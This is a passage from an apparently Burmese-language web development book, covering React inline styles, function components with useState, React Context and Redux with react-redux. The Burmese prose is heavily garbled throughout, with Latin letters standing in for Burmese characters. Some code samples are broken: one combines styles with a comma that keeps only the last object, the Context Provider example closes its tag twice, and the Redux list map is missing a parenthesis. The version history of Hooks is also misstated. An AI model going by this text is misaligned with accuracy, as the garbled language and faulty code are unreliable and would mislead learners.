တယ်။  Quote  အoွင့်အပိတ်ထဲမှာdတာ့  goစ်ရပါတယ်။  CSS  dတွ  များလာတဲ့အခါ  gပင်ဆင်ထိမ်းသိမ်းရ
လွယ်dအာင် ဒုတိယ dရးနည်းအdနနဲ့ အခုလုိ ခွdဲရးထားသင့်ပါတယ်။

 JavaScript/JSX 
const styles = {
    toolbar: {
        marginBottom: 20,
        border: '1px solid red',
    }
}

ပြပီးdတာ့မှ လုိတဲ့dနရာမှာ အခုလုိ ထည့်သံုးလုိက်တာ ပုိdကာင်းပါတယ်။

 JavaScript/JSX 
render() {
    return (
        <div style={styles.toolbar}>
            {this.props.children}
        </div>
    );
} 
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style     အတွက် တွန့်ကွင်း နှစ်ထပ်မလုိdတာ့တာကို သတိgပုပါ  ။  တစ်ခုထက်ပုိတဲ့  Style သတ်မှတ်ချက်
ကို Component မှာ တွဲသံုးချင်လည်း ရပါတယ်။ ဥပမာ - Style က ဒီလုိသတ်မှတ်ထားတယ် ဆိုပါစို့။

 JavaScript/JSX 
const styles = {
    toolbar: {
        marginBottom: 20,
        border: '1px solid red',
    },
    dark: {
        background: 'purple',
        color: 'white',
    }
}

Component မှာ အခုလုိ အလွယ်တစ်ကူ ယူသံုးလုိက်လ့ုိ ရပါတယ်။

 JavaScript/JSX 
render() {
    return (
        <div style={styles.toolbar, styles.dark}>
            {this.props.children}
        </div>
    );
}

တွဲသံုးချင်တဲ့ Style dတွကို Comma dလးခံပြပီး ထည့်သွားလုိက်တာပါပဲ။

dနာက်တစ်နည်းgoစ်တဲ့  Styled Component ကdတာ့ ပdရာZျက်ထဲမှာ အသင့်မပါပါzူး။ Package ထပ်
ထည့်ပြပီးမှ  အသံုးgပုလ့ုိရမှာgoစ်လ့ုိ  ဒီတစ်နည်းကိုdတာ့  ချန်ထားလုိက်ပါမယ်။  React  နဲ့ပက်သက်ပြပီး
dကာင်းdကာင်း ကျင်လည်လာပြပီဆိုdတာ့မှ ကိုယ့်zာသာ ဆက်dလ့လာရမှာပါ။
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အခန်း (၅၈) – Functional React Components

ဟိုးdရှ့ပုိင်းမှာ dgပာထားပါတယ်။ React Component တစ်ခုတည်dဆာက်oုိ့ အdgခခံလုိအပ်ချက် အdနနဲ့
React.Component ကို  Extend လုပ်ထားတဲ့  Class တစ်ခုgoစ်ရမယ်၊ render() Method ပါရမယ်၊
Element  တစ်ခုကို  Return  gပန်dပးရမယ်လ့ုိ dgပာခဲ့ပါတယ်။ လက်dတွ့မှာ  React Component  တစ်ခု
တည်dဆာက်o့ုိ နည်းလမ်း အမျ ို းမျ ို း ရှိပါတယ်။ ဒီတိုင်းdရးရင်dတာင် ရပါတယ်။

 JavaScript/JSX 
const Header = <div><h1>Header</h1></div>;

ဒါလည်း  လက်dတွ့အသံုးချလ့ုိရတဲ့  <Header> Component  goစ်သွားတာပါပဲ။  ဒီထက်ပိုအdရးပါတဲ့
နည်းလမ်းကdတာ့  Function  ကို အသံုးgပုပြပီး  Component  dတွ တည်dဆာက်တဲ့နည်း goစ်ပါတယ်။ သူ
မှာလည်း လုိအပ်ချက် (၃) ချက် ရိှပါတယ်။

၁။ React Namespace dအာက်မှာ ရိှရပါမယ်။
၂။ props ကို Argument အdနနဲ့ လက်ခံရပါမယ်။
၃။ Element တစ်ခုကို Return gပန်dပးရပါမယ်။

React Namespace dအာက်မှာ ရှရိမယ်ဆိုတာ React ကို  Import လုပ်ထားရမယ်လ့ုိ dgပာတာပါ။ ဒီကုဒ်
ကို dလ့လာeကည့်ပါ။
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 JavaScript/JSX 
import React from 'react';
function Header(props) {

return (
<div>

<h1>{props.name}</h1>
</div>

);
}

export default Header;

React ကို Import လုပ်ထားပါတယ်။ Header Function က props ကို လက်ခံထားပါတယ်။ ပြပီးdတာ့
Element တစ်ခုကို Return gပန်dပးပါတယ်။ ဒါdeကာင့် ဒါဟာ gပည့်စုံတဲ့ React Component တစ်ခု goစ်ပါ
တယ်။  props ကို  အသံုးgပုတဲ့အခါ  this.props လ့ုိdgပာစရာမလုိzဲ  တိုက်ရိုက်  သံုးထားတာကို
သတိgပုပါ။  တစ်လက်စတည်း  Export  လုပ်ပုံလုပ်နည်း  ဟာလည်း  အတူတူပဲဆိုတာ  သိdစချင်လ့ုိ
တစ်ခါတည်း ထည့်ပြပီး Export လုပ်gပထားပါတယ်။

ရိုးရိုး  Function  ကို  မသုံးzဲ  Arrow Function  ကို  သံုးမယ်ဆိုရင်လည်း ရပါတယ်။ dရးနည်းက ဒီလုိgoစ်
သွားမှာပါ။

 JavaScript/JSX 
const Header = props => {

return (
<div>

<h1>{props.name}</h1>
</div>

);
}

ဒီထက်ကုဒ်ပုိတိုချင်ရင် ဒီတိုင်းdရးလည်း ရပါတယ်။
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 JavaScript/JSX 
const Header = props => (

<div>
<h1>{props.name}</h1>

</div>
);

Arrow Function  မှာ တစ်deကာင်းတည်းဆိုရင်  တွန့်ကွင်းနဲ့  return မလုိzူးdလ။  သံုးထားတာ တွန့်
ကွင်း မဟုတ်ပါzူး။ ဝုိက်ကွင်းပါ။ အ့ဲဒါdလးကို dသချာeကည့်o့ုိလုိပါတယ်။

Function Component dတဟွာ Functional Programming ကdပးတဲ့ အားသာချက်dတွကို ရပါတယ်။
အ့ဲဒါdတွအdeကာင်း  အdသးစိတ်dတာ့  ထည့်မdgပာdတာ့ပါzူး။  တgခားgမင်သာတဲ့  အားသာချက်ကdတာ့
ကုဒ်ရဲ့ တိုdတာင်းကျစ်လစ်မှုပဲ goစ်ပါတယ်။ ဒါdeကာင့် ဒီdရးနည်းကို သိသွားပြပီဆိုရင် Class dတွ မသံုးချင်
dတာ့zဲ Function ကိုပဲ သdzာကျပြပီး ဆက်သံုးသွားeကdလ့ ရှိပါတယ်။

React  Basic  အခန်းမှာ  dပးခဲ့တဲ့  ကုဒ်နမူနာကို  Function  dတွနဲ့  dgပာင်းdရးeကည့်ရdအာင်။  Item
Component ကို အရင်dရးပါမယ်။ ဒီလုိပါ -

 JavaScript/JSX 
const Item = props => {
    return (
        <li>
            {props.name},
            ${props.price}
        </li>
    )
}

ဒီကုဒ်ကို ဒီထက်တိုသွားdအာင် အခုလုိdရးလ့ုိလည်း ရပါdသးတယ်။

 JavaScript/JSX 
const Item = ({ name, price }) => (
    <li>{name}, ${price}</li>
)
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ကုဒ်ရဲ့ တိုdတာင်းကျစ်လစ်မှုက zာမှမဆိုင်dတာ့ပါzူး။ မလုိအပ်တဲ့ oဲွ့စည်းပံုကုဒ်dတွနဲ့ ရှုပ်dနစရာ မလုိ
dတာ့ပါzူး။ Object Destructure dရးနည်းကိုသံုးပြပီး props ကို စလက်ခံကတည်းက name နဲ့ price
အgoစ်  goန့်ပြပီးလက်ခံထားတာပါ။  ဒီdရးနည်းကို  ပုိပြပီးdတာ့  အသံုးgပုo့ုိ  တိုက်တွန်းပါတယ်။ ဆကd်ရးတဲ့
ကုဒ် တိdုတာင်းကျစ်လစ် သွားယံုသာမက၊ ဒီ နမူနာကုဒ်ကို တစ်ချက်eကည့်လုိက်တာနဲ့  name နဲ့  price
လုိအပ်ပါလား ဆိုတာကို အလွယ်တစ်ကူ သိနိုင်လ့ုိ dရရှည်gပုgပင်ထိမ်းသိမ်းရ လွယ်ကူတဲ့ကုဒ် goစ်သွားdစ
မှာပါ။

App Component ကုဒ်ကိုdတာ့ ဒီလုိdရးရမှာပါ။

 JavaScript/JSX 
const App = props => {
    return (
        <div>
            <ul>
                <Item name="Apple" price="0.99" />
                <Item name="Orange" price="0.89" />
            </ul>
        </div>
    )
}

သူကိုdတာ့ တိုdအာင် ထပ်မချုံ့dတာ့ပါzူး။ တွန့်ကွင်းနဲ့ return နဲ့ အgပည့်အစုံပဲ dရးထားပါdတာ့မယ်။
dနာက်ထပ် ထပ်goည့်ရမယ့် ကုဒ်dတွ ရှိdသးလ့ုိပါ။

state in Function Component
လက်ရှိဒီစာdရးdနချနိ်မှာ dနာက်ဆုံး  React Version က 16.3.1 goစ်ပါတယ်။ React 15.8.0 မတိုင်ခင်ထိ
Function Component  dတွမှာ  state ကို  အသံုးgပုလ့ုိမရပါzူး။  ဒါdeကာင့်  state အသံုးgပုoို့လုိရင်
Class Component  ကိုပဲ သံုးရပါတယ်။ ဒါမှမဟုတ်  Function Component  ကို  Redux  လုိ  State  နည်း
ပညာနဲ့ တဲွသုံးရပါတယ်။ Redux အdeကာင်းကို တစ်ခန်းသပ်သပ် dနာက်မှ dgပာပါမယ်။ 

အခုချနိ်မှာdတာ့  Hook  လ့ုိdခါ်တဲ့  နည်းပညာdတွရဲ့ အကူအညီနဲ့  Function Component  dတွမှာလည်း
state ကို  အသံုးgပုလ့ုိရပါပြပီ။  useState(),  useReducer(),  useEffect() စသgoင့်
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Build-in Hook Function dတွရှိပါတယ်။ အ့ဲဒီထဲက useState() ကိုအသံုးgပုပြပီး state dတွစီမံပုံကို
doာ်gပသွားပါမယ်။

ဒီကုဒ်ကို dလ့လာeကည့်ပါ။

 JavaScript/JSX 
let [ name, setName ] = React.useState('Bob');
let [ age, setAge ] = React.useState(22);

React.useState() Function  က  တန်oုိး  (state)  နဲ့  အ့ဲဒီတန်oုိးကို  gပင်လ့ုိရတဲ့  Function
(setState)  ကို  gပန်dပးပါတယ်။  Array  တစ်ခုအdနနဲ့  gပန်dပးလ့ုိ  Destructure  လုပ်ပြပီး  လက်ခံရပါ
တယ်။  state နဲ့  setState လ့ုိ  အမည်ကိုdပးလ့ုိရသလုိ တgခား  ကြကိုက်တဲ့အမည်လည်း dပးလ့ုိရပါ
တယ်။ dပးထားတဲ့ နမူနာ ပထမတစ်deကာင်းမှာ name ဆိုတဲ့ state တန်oုိးနဲ့ setName() ဆိုတဲ့ အ့ဲ
ဒီတန်oုိးကို  gပင်လ့ုိရတဲ့  Function  ကိုရပြပီး၊  ဒုတိယ  တစ်deကာင်းမှာ  age ဆိုတဲ့  state တန်oုိးနဲ့
setAge() ဆိုတဲ့  Function  ကို ရပါတယ်။  useState() ကို dခါ်ယူစဉ်မှာ dပးလုိက်တဲ့  Argument
က state အတွက် Default Value goစ်သွားပါတယ်။ ဒါdeကာင့် လက်ရှိ name ရဲ့တန်oုိးဟာ Bob goစ်dန
ပြပီး age ရဲ့တန်oုိးကdတာ့ 22 goစ်dနပါတယ်။

name တန်oုိးdgပာင်းချင်ရင် အခုလုိ အလွယ်တစ်ကူdgပာင်းနိုင်ပါတယ်။

 JavaScript/JSX 
setName('Tom'); // => name = Tom

age ကို dgပာင်းချင်ရင်လည်း ဒီလုိပါပဲ၊ အလွယ်တစ်ကူ dgပာင်းနိုင်ပါတယ်။

 JavaScript/JSX 
setAge(23); // => age = 23

ဒီနည်းကို အသုံးgပုပြပီး App Component ကို gပန်dရးeကည့်ပါမယ်။ ဒီလုိပါ -
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 JavaScript/JSX 
const App = props => {
    let [ items, setItems ] = React.useState([
        { id: 1, name: 'Apple', price: 0.99 },
        { id: 2, name: 'Orange', price: 0.89 },
    ]);

    return (
        <div>
            <ul>
              {items.map(i => <Item name={i.name} price={i.price} />)}
            </ul>
        </div>
    )
}

ဒီအဆင့်မှာ  useState() ရဲ့  အကူအညီနဲ့  items နဲ့  setItems() ရသွားပါပြပီ။  items အတွက်
JSON Array  တစ်ခုကိုလည်း  Default Value  အdနနဲ့dပးထားပါတယ်။ ပြပီးတဲ့အခါ  items ကို  map()
လုပ်ပြပီး doာ်gပdစပါတယ်။ add() Function တစ်ခု dရးeကည့်ပါမယ်။ ဒီလုိgoစ်မှာပါ။

 JavaScript/JSX 
let add = () => {
    setItems([
        ...items,
        { id: 3, name: 'Banana', price: 0.75 }
    ]);
}

setItems() ကို Class Component ရဲ့ setState() အသုံးgပုသကဲ့သ့ုိပဲ အသံုးgပုသွားတာပါ။ ဒါကို
Input Ref dတzွာdတွ အgပည့်အစုံနဲ့ dရးလိုက်မယ်ဆိုရင် အခုလုိ ရပါလိမ့်မယ်။
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 JavaScript/JSX 
import React, { createRef, useState } from 'react';
const Item = ({ name, price }) => (
    <li>{name}, ${price}</li>
)

const App = props => {
    let [ items, setItems ] = useState([
        { id: 1, name: 'Apple', price: 0.99 },
        { id: 2, name: 'Orange', price: 0.89 },
    ]);

    let nameRef = createRef();
    let priceRef = createRef();
    let add = () => {
        let id = items.length + 1;
        let name = nameRef.current.value;
        let price = priceRef.current.value;
        setItems([
            ...items,
            { id, name, price }
        ]);
    }

    return (
        <div>
            <ul>
                {items.map(i => (
                    <Item 
                        key={i.id}
                        name={i.name}
                        price={i.price}
                    />
                ))}
            </ul>
            <input type="text" ref={nameRef} /><br />
            <input type="text" ref={priceRef} /><br />
            <button onClick={add}>Add</button>
        </div>
    )
}

export default App;
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အစကdနအဆုံးပါတဲ့  ကုဒ်အgပည့်အစုံပါ။  ကူးယူdရးစမ်းeကည့်ရင် ဟိုး  React Basic  အခန်းမှာ  dရးခဲ့တဲ့
ကုဒ်နဲ့ တူညီတဲ့ရလဒ်ကို ရမှာပါ။ ရလဒ်တူသလုိ dရးထားတဲ့ ကုဒ်ရဲ့ သdzာသzာဝကလည်း ခပ်ဆင်ဆင်
ပဲ goစ်ပါတယ်။ Class dတွအစား Function dတွgoစ်သွားတာပဲ ကွာပါတယ်။

ဟိုးအdပါ်ဆုံးက  Import  မှာ  createRef နဲ့  useState ကို  တစ်ခါတည်း  Destructure  လုပ်ပြပီး
Import လုပ်ထားတာကို သတိgပုပါ။ ဒီနည်းနဲ့ Import လုပ်dတာ့ ဆကd်ရးတဲ့ကုဒ်မှာ တိုပြပီး ရှင်းသွားတာ
dပါ့။
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အခန်း (၅၉) – React Context

React Component  dတွမှာ ပံုမှန်အားgoင့်  Data  dတွဟာ Parent to Child  လက်ဆင့်ကမ်းပြပီး  props
အdနနဲ့ စီးဆင်းရတာကို doာ်gပခဲ့ပြပီးgoစ်ပါတယ်။ dနာက်တစ်dခါက်dလာက် gပန်eကည့်ရdအာင်ပါ။

 JavaScript/JSX 
const App = props => {
    return <Header name="Hello React" />
}

const Header = props => {
    return <Title name={props.name} />
}

const Title = props => {
    return <h1>{props.name}</h1>
}

App Component က Hello React ဆိုတဲ့ တန်oုိးကို Header Component ထံ name props အdနနဲ့ dပး
ပါတယ်။ Header က လက်ခံရရှိတဲ့ name ကို Title Component ရဲ့ props အgoစ် လက်ဆင့်ကမ်း dပးပါ
တယ်။  dနာက်ဆုံးမှာ  Title  Component  က လက်ခံရရှိတဲ့  name props  ကို  အသံုးgပုပါတယ်။  ဒီလုိ
တစ်ဆင့်ချင်းသာ သွားရပြပီး  App က Title  အကို အဆင့်dကျာ်ပြပီး တိုက်ရိုက်  Data dပးလ့ုိမရသလို၊  Title
ကလည်း App ဆီက Data dတွကို အဆင့်dကျာ်ပြပီး လှမ်းယူလ့ုိ မရပါzူး။
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Context   ဆိုတာ လုိရင်းကdတာ့   Data   dတွ အဆင့်dကျာ် dပးလ့ုိရdအာင်၊ ယူလ့ုိရdအာင် oန်တီးdပးထား  
တဲ့ နည်းပညာတစ်ခုပါ။ ပြပီးခဲ့တဲ့ နမူနာကို Context သံုးပြပီး အခုလုိ dရးနိုင်ပါတယ်။

 JavaScript/JSX 
const MyContext = React.createContext();
const App = props => {
    return (
        <MyContext.Provider value="Hello React" />
            <Header />
        </MyContext.Provider>
    )
}

const Header = props => {
    return <Title />
}

const Title = props => {
    return (
        <MyContext.Consumer>
            { value => <h1>{value}</h1> }
        </MyContext.Consumer>
    )
}

ပထမဆုံးအdနနဲ့ App Component က value ကို Context Provider မှာdပးလုိက်ပါတယ်။ Header ကို
မdပးdတာ့ပါzူး။ Header ကလည်း Title ကို zာမှမdပးdတာ့ပါzူး။ Title က Context Consumer ကို
သံုးပြပီးdတာ့  value ကို  တိုက်ရိုက်  ရယူလုိက်gခင်းပဲ  goစ်ပါတယ်။  ဒါdeကာင့်  လုိအပ်တဲ့  Data  ကို
အဆင့်ဆင့်  လက်ဆင့်ကမ်းdနo့ုိ  မလုိdတာ့ပဲ  တိုက်ရိုက်ရရှိသွားပါပြပီ။  နမူနာမှာက  Component  သံုးခု
တည်းမုိ့လုိပါ။  လက်dတွ့မှာ  Component  dပါင်းအဆင့်ဆင့်  goစ်လာမယ်ဆိုရင်  ဒီနည်းက သိသိသာသာ
အသံုးဝင်မှာပဲ goစ်ပါတယ်။

ဒီကုဒ်ကို dနာက်တစ်မျ ို းdgပာင်းdရးgပပါဦးမယ်။
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 JavaScript/JSX 
const MyContext = React.createContext("Hello React");
const App = props => {
    return <Header />
}

const Header = props => {
    return <Title />
}

const Title = props => {
    const value = React.useContext(MyContext)
    return <h1>{value}</h1>
}

Context Provider dတွ Context Consumer dတွ မပါdတာ့ပါzူး။ ပထမဆုံး createContext() မှာ
ကတည်းက Default Value dပးခဲ့ပါတယ်။ React က Context Provider မရှိရင် Default Value ကို သံုး
dပးသွားမှာပါ။  Title  မှာ  Context  ကို အသံုးgပုo့ုိအတွက်  Hook dတွထဲက တစ်ခုgoစ်တဲ့  Context Hook
ကို  အသံုးgပုလုိက်လ့ုိ  Context  Consumer  ကိုလည်း  သံုးစရာ မလိုdတာ့ပါzူး။  ကုဒ်က နည်းနည်းပုိပြပီး
dတာ့ ရှင်းသွားပါတယ်။

အကယ်၍ Class Component dတွကို အသံုးgပုပြပီး dရးလုိတယ်ဆိုရင်လည်း အခုလုိ dရးနိုင်ပါတယ်။

 JavaScript/JSX 
const MyContext = React.createContext("Hello React");
class App extends React.Component {
    render() {
        return <Header />
    }
}

class Header extends React.Component {
    render() {
        return <Title />
    }
}
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class Title extends React.Component {
    static contextType = MyContext;
    
    render() {
        return <h1>{this.context}</h1>
    }
}

အသံုးgပုလိုတဲ့ Title Component မှာ contextType ကို Static Class Field အdနနဲ့ deကgငာdပးပြပီးမှ
သံုးရပါတယ်။ သံုးတဲ့အခါမှာ this.context ကdန တစ်ဆင့်သာ အသုံးgပုရလ့ုိ မျက်စိလည်ချင်စရာပါ။
Function Component ရဲ့ dရးထံုးကdတာ့ ပုိပြပီး နားလည်ရdရာ အသံုးgပုရပါလွယ်မယ်လ့ုိ ထင်ပါတယ်။



PWD 2022 – အခန်း (၆၀) – Redux 784

အခန်း (၆၀) – Redux

Redux ဟာ State Container နည်းပညာလ့ုိ dခါ်ပါတယ်။ တနည်းအားgoင့် state Data dတွကို စီမံတဲ့
dနရာမှာ  အသံုးgပုရတဲ့  နည်းပညာပါပဲ။  ဒီနည်းပညာဟာ  နားလည်သွားရင်  ရိုးရှင်းdပမယ့်၊  အစပုိင်းမှာ
နားလည်ရခက်ပြပီး မျက်စိလည်dစနိုင်တဲ့ နည်းပညာတစ်ခုပါ။ အတတ်နိုင်ဆုံး ကြကိုးစားပြပီးdတာ့ ရှင်းdအာင်
dgပာသွားမှာ goစ်ပါတယ်။

ပထမဦးဆုံး  state Date  dတွကို စီမံတဲ့  Function  တစ်ခုအdeကာင်း dgပာပါမယ်။  Reducer Function
လ့ုိ dခါ်ပါတယ်။ Redux   က   state   Data   dတွကို စီမံမdပးပါzူး။ ကိုယ်တိုင်ပဲ စီမံရတာပါ  ။ အ့ဲဒီလုိ စီမံ
နိုင်oုိ့ လုိအပ်တဲ့  Container Framework ကိုသာ dပးထားတဲ့သdzာပါ။  Reducer Function ရဲ့ အdgခခံ
oဲွ့စည်းပံုက ဒီလုိပါ။

 JavaScript/JSX 
function reducer(state, action) {

return state;
}

နမူနာမှာ Function Name ကို  reducer လ့ုိdပးထားdပမယ့် ဒီနာမည်က အdရးမကြကီးပါzူး။ ကြကိုက်တဲ့
နာမည် dပးလ့ုိရပါတယ်။ အdရးကြကီးတာကdတာ့ state နဲ့ action ဆိုတဲ့ Parameter နှစ်ခုပါo့ုိပါပဲ။ မ
goစ်မdန ပါoို့လုိအပ်ပါတယ်။ dနာက်ထပ်အdရးကြကီးတာကdတာ့ state ကို Return gပန်dပးoုိ့လုိအပ်gခင်း
goစ်ပါတယ်။  state Data  အကုန်လုံးကို  gပန်တာgoစ်နိုင်တယ်၊  တစ်စတိ်တစ်ပုိင်းကို  gပန်တာ  goစ်နိုင်
တယ်။ ဒါကdတာ့ ကိုယ် ဒီ  Function  ကို  zယ်လုိ အလုပ်လုပ်dစချင်သလဲဆိုတဲ့dပါ်မှာ မူတည်ပါတယ်။
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နည်းနည်း gပင်လုိက်ပါမယ်။

 JavaScript/JSX 
function reducer(state = [], action) {

if(action.type === "ADD") {
return [ ...state, action.name ];

}

return state;
}

state ရဲ့  Default  Value  ကို  Array  အလွတ်တစ်ခုလ့ုိ  သတ်မှတ်ထားတာကို  သတိgပုပါ။  ပြပီးတဲ့အခါ
state ကို Return gပန်ပံုgပန်နည်း dgပာင်းသွားပါပြပီ။ action ရဲ့ Property type က ADD goစ်ခဲ့မယ်ဆို
ရင်  မူလ  state မှာ  action ရဲ့  name ကို  dပါင်းထည့်ပြပီးမှ  Return  gပန်dပးသွားတာ goစ်ပါတယ်။
တgခား  Delete,  Update,  Filter  စတဲ့  ကုဒ်dတွကို  ဒီနည်းအတိုင်း  ဆကd်ရးသွားရမှာပါ။  ဒါdတွက
Programming Logic dတွမ့ုိလို့ ဒီdနရာမှာ နမူနာ dရးမgပdတာ့ပါzူး။ ကုဒ်ရှည်ပြပီး eကည့်ရခက် နားလည်
ရခက်သွားမှာ စိုးလို့ပါ။ ဒီ  Logic  dတွကိုdတာ့ လကရ်ှိသိထားတဲ့  ဗဟုသုတdပါ်မှာ မူတည်ပြပီး ကိုယ်တိုင်
ကြကံဆပြပီး dရးရdတာ့မှာပါ။ ဒီdနရာမှာdတာ့ Redux ရဲ့ အလုပ်လုပ်ပံုကိုသာ ဆက်ရှင်းgပသွားမှာပါ။

Redux  ရဲ့  createStore() လ့ုိ  dခါ်တဲ့  Function  ကို  အသံုးgပုပြပီး  State  Container  တစ်ခု
တည်dဆာက် နိုင်ပါတယ်။ Reducer Function ကို Argument အdနနဲ့ dပးရပါတယ်။ ဒီလိုပါ။

 JavaScript/JSX 
const store = Redux.createStore(reducer);

ပြပီးတဲ့အခါ  dispatch() လ့ုိdခါ်တဲ့  Function တစ်ခုထပ်မှတ်ရပါမယ်။  State Container  ထဲက state
ကို gပင်ချင်ရင် dispatch() နဲ့ gပင်ရပါတယ်။ သူကိုယ်တိုင် gပင်တာ မဟုတ်ပါzူး။ သူက Reducer ကို
သံုးပြပီး  အလုပ်လုပ်dပးတာပါ။  တနည်းအားgoင့်  dispatch()     ဆိုတာ    reducer()     ကို  dခါ်dပးတဲ့  
Function   လ့ုိ ဆိုနိုင်ပါတယ်  ။ dispatch() ကို dခါ်တဲ့အခါ action ကို Argument အdနနဲ့ ထည့်dပး
ရပါတယ်။ ဥပမာ -
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 JavaScript/JSX 
store.dispatch({  type: "ADD", name: "Apple" });
// => state = [ Apple ]

 JavaScript/JSX 
store.dispatch({  type: "ADD", name: "Orange" });
// => state = [ Apple, Orange ]

 JavaScript/JSX 
store.dispatch({  type: "ADD", name: "Mango" });
// => state = [ Apple, Orange, Mango ]

dispatch() Function ကို dခါ်စဉ်မှာ dပးလုိက်တဲ့ type: ADD deကာင့် state ထဲမှာ name dတွ
တိုးတိုးသွားတဲ့ သdzာကို dတွ့ ရမှာ goစ်ပါတယ်။ type: ADD ဆိုရင် state ထဲမှာ name တိုးပြပီး gပန်
dပးo့ုိကို ကျွန်dတာ်တို့ကိုယ်တိုင် reducer() ထဲမှာ dရးထားခဲ့တယ်dလ။

တစ်ကယ်dတာ့  ဒါပါပဲ။  Redux  ရဲ့  အdgခခံ  ပြပီးသွားပါပြပီ။  မျက်စိလည်dနdသးရင်  dနာက်တစ်dခါက်
dလာက်  gပန်oတ်eကည့်ပါ။  လက်dတွ့  စမ်းeကည့်လို့dတာ့  ရဦးမှာ  မဟုတ်ပါzူး။  စမ်းလို့ရတဲ့  ကုဒ်
အgပည့်အစုံကို  dပးထားတာ မဟုတ်zဲ အလုပ်လုပ်ပံု သdzာသzာဝကို အရှင်းဆုံးနားလည်dစမယ့် နမူ
နာကို dပးထားတာမ့ုိလို့ပါ။

React & Redux
ဒီတစ်ခါdတာ့ လက်dတွ့စမ်းလို့ရတဲ့ ကုဒ်အgပည့်စုံကို နမူနာdပးပါdတာ့မယ်။ ပထမဆုံးအdန create-
react-app နဲ့  React  ပdရာZျက်  အသစ်တစ်ခု  dဆာက်လုိက်ပါ။  ပြပီးတဲ့အခါ  သူ့ထဲမှာ  NPM  ရဲ့
အကူအညီနဲ့ redux နဲ့ react-redux  တို့ကို Install လုပ်dပးရပါမယ်။

create-react-app hello-redux
cd hello-redux
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npm i redux react-redux

ပြပီးတဲ့အခါ index.js ကို oွင့်ပြပီး ဒီကုဒ်ကို dရးdပးရပါမယ်။

 JavaScript/JSX 
import React from 'react';
import ReactDOM from 'react-dom';
import './index.css';
import App from './App';
import * as serviceWorker from './serviceWorker';

import { createStore } from 'redux';
import { Provider } from 'react-redux';
const store = createStore((state = [], action) => {
  if(action.type === "ADD") return [ ...state, action.item ];
  return state;
});
ReactDOM.render(
  <React.StrictMode>
    <Provider store={store}>
      <App />
    </Provider>
  </React.StrictMode>,
  document.getElementById('root')
);
// If you want your app to work offline and load faster, you can change
// unregister() to register() below. Note this comes with some pitfalls.
// Learn more about service workers: https://bit.ly/CRA-PWA
serviceWorker.unregister();

အကုန်gပန်dရးစရာမလုိပါzူး။  နမူနာမှာ  Bold  လုပ်dပးထားတဲ့  အပုိင်းပဲ  goည့်ရမှာပါ။  ကျန်တာက နZို
ကတည်းက ပါလာတဲ့  ကုဒ်dတွပါ။  နည်းနည်း ရှင်းgပပါမယ်။ ပထမဆုံး  createStore Function  ကို
redux က dန  Import  လုပ်ယူပါတယ်။ ပြပီးတဲ့အခါ  Provider  လ့ုိ  dခါ်တဲ့  Component  ကို  react-
redux ကdန  Import  လုပ်ယူပါတယ်။  React  မှာ  Design  Pattern  dတွ  ရိှပါတယ်။  Container
Component  ဆိုတာ  လည်း  တစ်ခုအပါအဝင်  goစ်ပါတယ်။  dလးနက်တဲ့  အdeကာင်းအရာdတွမ့ုိလ့ုိ
အdသးစိတ်ကိုdတာ့ dနာက်မှ ဆက်dလ့လာပါ။ dလာdလာဆယ်မှာ ဒီလုိ အလွယ်မှတ်နိုင်ပါတယ်။ React
Component dတွ တည်dဆာက်တဲ့အခါ အခုလုိ ပံုစံတည်dဆာက်o့ုိကို အားdပးeကပါတယ်။
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 JavaScript/JSX 
<Container>

<UI />
</Container>

Container Component ထဲမှာ UI Component ကို ထားပါတယ်။ state     အပါအဝင်   Data   နဲ့ပက်သက်  
တဲ့ ကိစ္စအားလံုးကို    Container    မှာပဲ လုပ်ပြပီး    UI    မှာ အသွင်းအgပင်ပုိင်းပဲ ပါပါမယ်  ။  UI  မှာ  Data  စီမံမှုကို
လံုးဝ  မလုပ်တဲ့  dရးဟန်  goစ်ပါတယ်။  ဒီနည်းနဲ့  Data  နဲ့  UI  ကို  ခွဲထုတ်လုိက်လ့ုိ  ပုိပြပီးdတာ့  gပုgပင်
ထိန်းသိမ်းရ လွယ်ကူတဲ့ ကုဒ်ကို ရမှာgoစ်ပါတယ်။  react-redux ကdန ယူထားတဲ့  Provider  ဆိုတာ
Container Component တစ်မျ ို း goစ်ပါတယ်။ zယ်လုိသုံးထားလဲဆိုတာ dအာက်နားမှာ eကည့်လုိက်ပါ။

 JavaScript/JSX 
<Provider store={store}>

<App />
</Provider>

ဒီသdzာပါပဲ။ store ဆိုတဲ့ Data ကို Provider ကပဲ စီမံမှာgoစ်ပြပီး App မှာ Data စီမံတဲ့အလုပ်ကို မလုပ်
dတာ့zူးဆိုတဲ့ သdzာပါ။ ဒီdနရာမှာ  store ဆိုတာdလး လုိလာလ့ုိ သ့ူအdပါ်မှာ  createStore()
Function ရဲ့ အကူအညီနဲ့ store တစ်ခုတည်dဆာက်ထားတာကို dတွ့နိုင်ပါတယ်။ Reducer Function
ကို  သပ်သပ်dရးမdနdတာ့ပဲ  createStore() ထဲမှာပဲ  Arrow Function  နဲ့  တစ်ခါတည်းdရးထားပါ
တယ်။ ပြပီးတဲ့အခါ App.js မှာ dရးရမယ့်ကုဒ်က ဒီလုိပါ။

 JavaScript/JSX 
import React, { createRef } from 'react';
import { connect } from 'react-redux';

const Item = ({ name, price }) => (
    <li>{name}, ${price}</li>
)

const App = props => {
    let nameRef = createRef();
    let priceRef = createRef();
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    const add = () => {
        props.add(

props.items.length + 1,
nameRef.current.value,
priceRef.current.value

    );
    }

    return (
        <div>
            <ul>
                {props.items.map(i => (

<Item 
key={i.id}
name={i.name} 
price={i.price} 

/>
  )}

            </ul>
            <input type="text" ref={nameRef} /><br />
            <input type="text" ref={priceRef} /><br />
            <button onClick={add}>Add</button>
        </div>
    )
}

const stateToProps = state => {
    return {
        items: state
    };
}

const dispatchToProps = dispatch => {
    return {
        add: (id, name, price) => {
            dispatch({ 

type: 'ADD', 
item: { id, name, price } 

  });
        }
    }
}

const ReduxApp = connect(stateToProps, dispatchToProps)(App);
export default ReduxApp;
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ရိှသမျှကုဒ်အကုန်gပထားလုိ့  မျက်စိdနာက်သွားနိုင်dပမယ့်  ကုဒ်အများစုက  အရင်dရးdနeကကုဒ်နဲ့  သိပ်မ
ကွာပါzူး။ ထူးgခားချက်dတွကို dရွးထုတ်dgပာgပပါမယ်။ ပထမဆုံး connect() Function ကို react-
redux ဆီကdန Import လုပ်ထားပါတယ်။ connect() Function ဟာ Higher Order Function လ့ုိ
dခါ်တဲ့  Function  တစ်မျ ို းပါ။ လွယ်လွယ်မှတ်ချင်ရင်  Function    တစ်ခုကို    Return    gပန်dပးတဲ့    Function  
လ့ုိ မှတ်နိုင်ပါတယ်။ ဥပမာdလးတစ်ခု dပးပါမယ် -

 JavaScript/JSX 
function add(a) {

return function(b) {
return a + b;

}
